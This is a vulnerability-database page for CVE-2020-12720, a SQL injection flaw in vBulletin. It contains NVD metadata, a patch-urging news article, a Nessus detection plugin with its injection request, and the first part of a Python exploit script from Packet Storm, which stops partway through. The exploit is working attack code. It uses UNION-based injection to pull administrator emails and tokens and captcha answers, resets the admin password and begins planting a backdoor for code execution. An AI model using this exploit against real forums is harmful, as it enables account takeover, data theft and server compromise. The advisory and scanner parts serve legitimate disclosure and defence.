Description
vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.
Affected Software
Related
{"id": "CVE-2020-12720", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2020-12720", "description": "vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.", "published": "2020-05-08T00:15:00", "modified": "2022-04-27T15:04:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-12720", "reporter": "cve@mitre.org", "references": ["https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1", "http://packetstormsecurity.com/files/157716/vBulletin-5.6.1-SQL-Injection.html", "http://packetstormsecurity.com/files/157904/vBulletin-5.6.1-SQL-Injection.html", "https://attackerkb.com/topics/RSDAFLik92/cve-2020-12720-vbulletin-incorrect-access-control"], "cvelist": ["CVE-2020-12720"], "immutableFields": [], "lastseen": "2022-04-27T17:41:43", "viewCount": 189, "enchantments": {"dependencies": {"references": [{"type": "0daydb", "idList": ["0DAYDB:53D8E76BA26E5E7A0D38F61CC5944072", "0DAYDB:605E9AABF85A309DCC2B08791CD8A47B", "0DAYDB:9B958AB6A7A8570A18E180B0B8D9B834"]}, {"type": "attackerkb", "idList": ["AKB:1BF8711C-479C-44AE-A936-EC1160F0DC29"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2020-0414"]}, {"type": "dsquare", "idList": ["E-706"]}, {"type": "exploitdb", "idList": ["EDB-ID:48472"]}, {"type": "nessus", "idList": ["VBULLETIN_CVE-2020-12720_DIRECT.NASL", "WEB_APPLICATION_SCANNING_112440"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310143872"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:157716", "PACKETSTORM:157904"]}, {"type": "thn", "idList": ["THN:5D5DD3DDBE383EE75BB80DC87C54F2A1"]}, {"type": "zdt", "idList": ["1337DAY-ID-34507"]}]}, "exploitation": {"wildExploitedSources": [{"type": "attackerkb", "idList": ["AKB:1BF8711C-479C-44AE-A936-EC1160F0DC29"]}], "wildExploited": true}, "score": {"value": 2.7, "vector": "NONE"}, "twitter": {"counter": 2, "modified": "2021-04-23T01:09:34", "tweets": [{"link": "https://twitter.com/_Bugbountytips_/status/1395280377225297922", "text": "Top 10 vulnerabilities in 2020\n\n1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n3. CVE-2020-15506: MobileIron Core Authentication Bypass\n(OWASP 2: Broken Authentication)\u2026https://t.co/4CM2TgmyAB?amp=1\n\nT\u2026"}, {"link": "https://twitter.com/_Bugbountytips_/status/1395280377225297922", "text": "Top 10 vulnerabilities in 2020\n\n1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n3. CVE-2020-15506: MobileIron Core Authentication Bypass\n(OWASP 2: Broken Authentication)\u2026https://t.co/4CM2TgmyAB?amp=1\n\nT\u2026"}]}, "backreferences": {"references": [{"type": "0daydb", "idList": ["0DAYDB:53D8E76BA26E5E7A0D38F61CC5944072", "0DAYDB:605E9AABF85A309DCC2B08791CD8A47B", "0DAYDB:9B958AB6A7A8570A18E180B0B8D9B834"]}, {"type": "attackerkb", "idList": ["AKB:1BF8711C-479C-44AE-A936-EC1160F0DC29"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2020-0414"]}, {"type": "dsquare", "idList": ["E-706"]}, {"type": "exploitdb", "idList": ["EDB-ID:48472"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/MULTI/HTTP/VBULLETIN_GETINDEXABLECONTENT"]}, {"type": "nessus", "idList": ["WEB_APPLICATION_SCANNING_112440"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:157716", "PACKETSTORM:157904"]}, {"type": "thn", "idList": ["THN:5D5DD3DDBE383EE75BB80DC87C54F2A1"]}, {"type": "zdt", "idList": ["1337DAY-ID-34507"]}]}, "vulnersScore": 2.7}, "_state": {"wildexploited": 0, "dependencies": 1660032824, "score": 1660033002, "affected_software_major_version": 1671590614}, "_internal": {"score_hash": "6db1bfb239f3a064c7b6ca37bc3ce49b"}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/a:vbulletin:vbulletin:5.5.6", "cpe:/a:vbulletin:vbulletin:5.6.1.-", "cpe:/a:vbulletin:vbulletin:5.6.0"], "cpe23": ["cpe:2.3:a:vbulletin:vbulletin:5.6.0:-:*:*:*:*:*:*", "cpe:2.3:a:vbulletin:vbulletin:5.6.1.-:*:*:*:*:*:*:*", "cpe:2.3:a:vbulletin:vbulletin:5.5.6:-:*:*:*:*:*:*"], "cwe": ["CWE-306", "CWE-89"], "affectedSoftware": [{"cpeName": "vbulletin:vbulletin", "version": "5.5.6", "operator": "lt", "name": "vbulletin"}, {"cpeName": "vbulletin:vbulletin", "version": "5.5.6", "operator": "eq", "name": "vbulletin"}, {"cpeName": "vbulletin:vbulletin", "version": "5.6.0", "operator": "eq", "name": "vbulletin"}, {"cpeName": "vbulletin:vbulletin", "version": "5.6.1.-", "operator": "eq", "name": "vbulletin"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:vbulletin:vbulletin:5.5.6:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.5.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:vbulletin:vbulletin:5.5.6:-:*:*:*:*:*:*", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:vbulletin:vbulletin:5.6.0:-:*:*:*:*:*:*", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:vbulletin:vbulletin:5.6.1.-:*:*:*:*:*:*:*", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1", "name": "https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1", "refsource": "MISC", "tags": ["Vendor Advisory"]}, {"url": "http://packetstormsecurity.com/files/157716/vBulletin-5.6.1-SQL-Injection.html", "name": "http://packetstormsecurity.com/files/157716/vBulletin-5.6.1-SQL-Injection.html", "refsource": "MISC", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "http://packetstormsecurity.com/files/157904/vBulletin-5.6.1-SQL-Injection.html", "name": "http://packetstormsecurity.com/files/157904/vBulletin-5.6.1-SQL-Injection.html", "refsource": "MISC", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://attackerkb.com/topics/RSDAFLik92/cve-2020-12720-vbulletin-incorrect-access-control", "name": "https://attackerkb.com/topics/RSDAFLik92/cve-2020-12720-vbulletin-incorrect-access-control", "refsource": "MISC", "tags": ["Third Party Advisory"]}]}
{"nessus": [{"lastseen": "2023-01-11T15:13:51", "description": "vBulletin is a popular PHP forum software used to build online communities. vBulletin versions before 5.5.6 Patch Level 1, version 5.6.0 before 5.6.0 Patch Level 1 and version 5.6.1 before 5.6.1 Patch Level 1 suffer from a SQL injection vulnerability through the 'nodeId' parameter in the getIndexableContent ajax function. A remote, unauthenticated attacker can exploit this issue to takeover the forum administrator account and achieve remote code execution on the target host.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-06-10T00:00:00", "type": "nessus", "title": "vBulletin < 5.5.6 Patch Level 1 / 5.6.0 < 5.6.0 Patch Level 1 / 5.6.1 < 5.6.1 Patch Level 1 SQL Injection Vulnerability", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-12720"], "modified": "2021-09-07T00:00:00", "cpe": ["cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*"], "id": "WEB_APPLICATION_SCANNING_112440", "href": "https://www.tenable.com/plugins/was/112440", "sourceData": "No source data", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-11T15:13:28", "description": "The version of vBulletin running on the remote host is affected by an input-validation flaw in the content_infraction/getIndexableContent API that allows for SQL injection. This can be levereged by an attacker to obtain administrator privileges leading to remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-15T00:00:00", "type": "nessus", "title": "vBulletin 'getIndexableContent' SQL Injection (direct check)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-12720"], "modified": "2022-12-05T00:00:00", "cpe": ["cpe:/a:vbulletin:vbulletin"], "id": "VBULLETIN_CVE-2020-12720_DIRECT.NASL", "href": "https://www.tenable.com/plugins/nessus/136613", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(136613);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/12/05\");\n\n script_cve_id(\"CVE-2020-12720\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2020-0044\");\n\n script_name(english:\"vBulletin 'getIndexableContent' SQL Injection (direct check)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A bulletin board system running on the remote web server has an SQL injection vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of vBulletin running on the remote host is affected by an input-validation flaw in the\ncontent_infraction/getIndexableContent API that allows for SQL injection. This can be levereged by an attacker to\nobtain administrator privileges leading to remote code execution.\");\n # https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?185c2276\");\n # https://www.tenable.com/blog/cve-2020-12720-vbulletin-urges-users-to-patch-undisclosed-security-vulnerability\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?396e8bf9\");\n script_set_attribute(attribute:\"see_also\", value:\"https://twitter.com/Zenofex/status/1260164977077424128\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to vBulletin 5.6.1 PL1 or 5.6.0 PL1 or 5.5.6 PL1 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-12720\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"d2_elliot_name\", value:\"vBulletin 5 SQL Injection\");\n script_set_attribute(attribute:\"exploit_framework_d2_elliot\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_nessus\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/05/07\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/05/07\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/05/15\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:vbulletin:vbulletin\");\n script_set_attribute(attribute:\"thorough_tests\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"vbulletin_detect.nasl\");\n script_require_keys(\"www/vBulletin\");\n script_require_ports(\"Services/www\", 80);\n\n exit(0);\n}\n\ninclude(\"http.inc\");\ninclude(\"webapp_func.inc\");\n\nport = get_http_port(default:80);\ninstall = get_kb_item_or_exit('www/'+port+'/vBulletin');\n\nmatches = pregmatch(string:install, pattern:\"^(.+) under (/.*)$\");\nif (!matches)\n audit(AUDIT_WEB_APP_NOT_INST, \"vBulletin\", port);\n\ndir = matches[2];\n\nif (dir !~ '/$')\n dir = dir + '/';\n\nurl = dir + 'ajax/api/content_infraction/getIndexableContent';\n\nres = http_send_recv3(\n method:'POST',\n item:url,\n data:'nodeId[nodeid]=1+UNION+SELECT+26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(CRC32(\\'Nessus\\'),\\' \\',@@version),8,7,6,5,4,3,2,1--',\n add_headers:make_array('Content-Type', 'application/x-www-form-urlencoded', 'X-Requested-With', 'XMLHttpRequest'),\n port:port,\n exit_on_fail:TRUE\n);\n\n# CRC32('Nessus') is 1631274700\nif ('1631274700' >!< res[2])\n audit(AUDIT_WEB_APP_NOT_AFFECTED, 'vBulletin', build_url(port:port,qs:dir));\n\nreport =\n 'Nessus was able to verify the issue using the following request :\\n\\n' +\n http_last_sent_request() + '\\n\\n' +\n 'The above request resulted in the following output :\\n\\n' +\n res[2] + '\\n\\n';\n\nsecurity_report_v4(port:port, extra:report, severity:SECURITY_HOLE, sqli:TRUE);\n\n\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:39:53", "description": "An SQL injection vulnerability exists in vBulletin. Successful exploitation of this vulnerability would allow a remote attacker to execute arbitrary SQL commands on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-05-18T00:00:00", "type": "checkpoint_advisories", "title": "vBulletin nodeId SQL Injection (CVE-2020-12720)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-12720"], "modified": "2020-05-18T00:00:00", "id": "CPAI-2020-0414", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:38:28", "description": "[](<https://thehackernews.com/images/-jG-wVbf392Y/XrmjORfWE_I/AAAAAAAA2vw/b8KJ9oLGU7Y6kfPFnEm2yYdbShUYdUpJACLcBGAsYHQ/s728-e100/vbulletin-forum-hacking.jpg>)\n\nIf you are running an online discussion forum based on vBulletin software, make sure it has been updated to install a newly issued security patch that fixes a critical vulnerability. \n \nMaintainers of the vBulletin project recently announced an important patch update but didn't reveal any information on the underlying security vulnerability, identified as [CVE-2020-12720](<https://nvd.nist.gov/vuln/detail/CVE-2020-12720>). \n \nWritten in PHP programming language, vBulletin is a widely used Internet forum software that powers over 100,000 websites on the Internet, including forums for some Fortune 500 and many other top companies. \n \nConsidering that the popular forum software is also one of the favorite targets for hackers, holding back details of the flaw could, of course, help many websites apply patches before hackers can exploit them to compromise sites, servers, and their user databases. \n \nHowever, just like previous times, researchers and hackers have already started reverse-engineering the software patch to locate and understand the vulnerability. \n \nNational Vulnerability Database (NVD) is also analyzing the flaw and revealed that the critical flaw originated from an incorrect access control issue that affects vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1. \n \n\"If you are using a version of vBulletin 5 Connect prior to 5.5.2, it is imperative that you upgrade as soon as possible,\" vBulletin said. \n \nThough there was no proof-of-concept code available at the time of writing this news or information about the vulnerability being exploited in the wild, expectedly, an exploit for the flaw wouldn't take much time to surface on the Internet. \n \nMeanwhile, [Charles Fol](<https://twitter.com/cfreal_/status/1258752351160209409>), a security engineer at Ambionics, confirmed that he discovered and responsibly reported this vulnerability to the vBulletin team, and has plans to release more information during the SSTIC conference that's scheduled for the next month. \n \nForum administrators are advised to download and install respective patches for the following versions of their forum software as soon as possible. \n \n\n\n * 5.6.1 Patch Level 1\n * 5.6.0 Patch Level 1\n * 5.5.6 Patch Level 1\n \n \n \n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-11T19:11:00", "type": "thn", "title": "An Undisclosed Critical Vulnerability Affect vBulletin Forums \u2014 Patch Now", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-12720"], "modified": "2020-05-11T19:11:00", "id": "THN:5D5DD3DDBE383EE75BB80DC87C54F2A1", "href": "https://thehackernews.com/2020/05/vBulletin-access-vulnerability.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2020-05-17T09:39:05", "description": "", "cvss3": {}, "published": "2020-05-15T00:00:00", "type": "packetstorm", "title": "vBulletin 5.6.1 SQL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-12720"], "modified": "2020-05-15T00:00:00", "id": "PACKETSTORM:157716", "href": "https://packetstormsecurity.com/files/157716/vBulletin-5.6.1-SQL-Injection.html", "sourceData": "`# Exploit Title: vBulletin 5.6.1 - 'nodeId' SQL Injection \n# Date: 2020-05-15 \n# Exploit Author: Photubias \n# Vendor Advisory: [1] https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1 \n# Version: vBulletin v5.6.x (prior to Patch Level 1) \n# Tested on: vBulletin v5.6.1 on Debian 10 x64 \n# CVE: CVE-2020-12720 vBulletin v5.6.1 (SQLi) with path to RCE \n \n#!/usr/bin/env python3 \n''' \n \n \nCopyright 2020 Photubias(c) \n \nThis program is free software: you can redistribute it and/or modify \nit under the terms of the GNU General Public License as published by \nthe Free Software Foundation, either version 3 of the License, or \n(at your option) any later version. \n \nThis program is distributed in the hope that it will be useful, \nbut WITHOUT ANY WARRANTY; without even the implied warranty of \nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \nGNU General Public License for more details. \n \nYou should have received a copy of the GNU General Public License \nalong with this program. If not, see <http://www.gnu.org/licenses/>. \n \nFile name CVE-2020-12720.py \nwritten by tijl[dot]deneut[at]howest[dot]be for www.ic4.be \n \nThis is a native implementation without requirements, written in Python 3. \nWorks equally well on Windows as Linux (as MacOS, probably ;-) \n \n##-->> Full creds to @zenofex and @rekter0 <<--## \n''' \nimport urllib.request, urllib.parse, sys, http.cookiejar, ssl, random, string \n \n## Static vars; change at will, but recommend leaving as is \nsADMINPASS = '12345678' \nsCMD = 'id' \nsURL = 'http://192.168.50.130/' \nsUSERID = '1' \nsNEWPASS = '87654321' \niTimeout = 5 \n \n## Ignore unsigned certs \nssl._create_default_https_context = ssl._create_unverified_context \n \n## Keep track of cookies between requests \ncj = http.cookiejar.CookieJar() \noOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) \n \ndef randomString(stringLength=8): \nletters = string.ascii_lowercase \nreturn ''.join(random.choice(letters) for i in range(stringLength)) \n \ndef getData(sUrl, lData): \ntry: \noData = urllib.parse.urlencode(lData).encode() \noRequest = urllib.request.Request(url = sUrl, data = oData) \nreturn oOpener.open(oRequest, timeout = iTimeout) \nexcept: \nprint('----- ERROR, site down?') \nsys.exit(1) \n \ndef verifyBug(sURL,sUserid='1'): \nsPath = 'ajax/api/content_infraction/getIndexableContent' \nlData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,\"cve-2020-12720\",8,7,6,5,4,3,2,1;--'} \nsResponse = getData(sURL + sPath, lData).read().decode() \nif not 'cve-2020-12720' in sResponse: \nprint('[!] Warning: not vulnerable to CVE-2020-12720, credentials are needed!') \nreturn False \nelse: \nprint('[+] SQLi Success!') \nreturn True \n \ndef takeoverAccount(sURL, sNEWPASS): \nsPath = 'ajax/api/content_infraction/getIndexableContent' \n### Source: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720 \n## Get Table Prefixes \nlData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\\'phrasegroup_cppermission\\';--'} \nsResponse = getData(sURL + sPath, lData).read().decode() \nif 'rawtext' in sResponse: sPrefix = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','').replace('language','') \nelse: sPrefix = '' \n#print('[+] Got table prefix \"'+sPrefix+'\"') \n \n## Get usergroup ID for \"Administrators\" \nlData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,usergroupid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'usergroup WHERE title=\\'Administrators\\';--'} \nsResponse = getData(sURL + sPath, lData).read().decode() \nsGroupID = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','') \n#print('[+] Administrators Group ID: '+sGroupID) \n \n## Get admin data, including original token (password hash), TODO: an advanced exploit could restore the original hash in post exploitation \nlData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from ' + sPrefix + 'user where usergroupid=' + sGroupID + ';--'} \nsResponse = getData(sURL + sPath, lData).read().decode() \nsUsername,sUserid,sUsermail,sUserTokenOrg = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','').split('|') \n#print('[+] Got original token (' + sUsername + ', ' + sUsermail + '): ' + sUserTokenOrg) \n \n## Let's create a Human Verify Captcha \nsPath = 'ajax/api/hv/generateToken?' \nlData = {'securitytoken':'guest'} \nsResponse = getData(sURL + sPath, lData).read().decode() \nif 'hash' in sResponse: sHash = sResponse.split('hash')[1].split(':')[1].replace('}','').replace('\"','') \nelse: sHash = '' \n \n## Get the captcha answer from DB \nsPath = 'ajax/api/content_infraction/getIndexableContent' \nlData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit 0,1--'} \nsResponse = getData(sURL + sPath, lData).read().decode() \nif 'rawtext' in sResponse: iAnswers = int(sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','')) \nelse: iAnswers = 1 \n \nlData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,answer,8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit ' + str(iAnswers-1) + ',1--'} \nsResponse = getData(sURL + sPath, lData).read().decode() \nif 'rawtext' in sResponse: sAnswer = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','') \nelse: sAnswer = '' \n \n## Now request PW reset and retrieve the token \nsPath = 'auth/lostpw' \nlData = {'email':sUsermail,'humanverify[input]':sAnswer,'humanverify[hash]':sHash,'securitytoken':'guest'} \nsResponse = getData(sURL + sPath, lData).read().decode() \n \nsPath = 'ajax/api/content_infraction/getIndexableContent' \nlData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'useractivation WHERE userid=' + sUserid + ' limit 0,1--'} \nsResponse = getData(sURL + sPath, lData).read().decode() \nif 'rawtext' in sResponse: sToken = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','') \nelse: sToken = '' \n \n## Finally the password reset itself \nsPath = 'auth/reset-password' \nlData = {'userid':sUserid,'activationid':sToken,'new-password':sNEWPASS,'new-password-confirm':sNEWPASS,'securitytoken':'guest'} \nsResponse = getData(sURL + sPath, lData).read().decode() \nif not 'Logging in' in sResponse: \nprint('[-] Failed to reset the password') \nreturn '' \nelse: \nprint('[+] Success! User ' + sUsername + ' now has password ' + sNEWPASS) \nreturn sUserid \n \ndef createBackdoor(sURL, sADMINPASS, sUserid='1'): \n## Activating Sitebuilder \nsPath = 'ajax/activate-sitebuilder' \nlData = {'pageid':'1', 'nodeid':'0','userid':'1','loadMenu':'false', 'isAjaxTemplateRender':'true', 'isAjaxTemplateRenderWithData':'true','securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'} \noResponse = getData(sURL + sPath, lData) \nif not oResponse.code == 200: \nprint('[-] Error activating sitebuilder') \nsys.exit(1) \n \n## Confirming the password, getting new securitytoken \nsPath 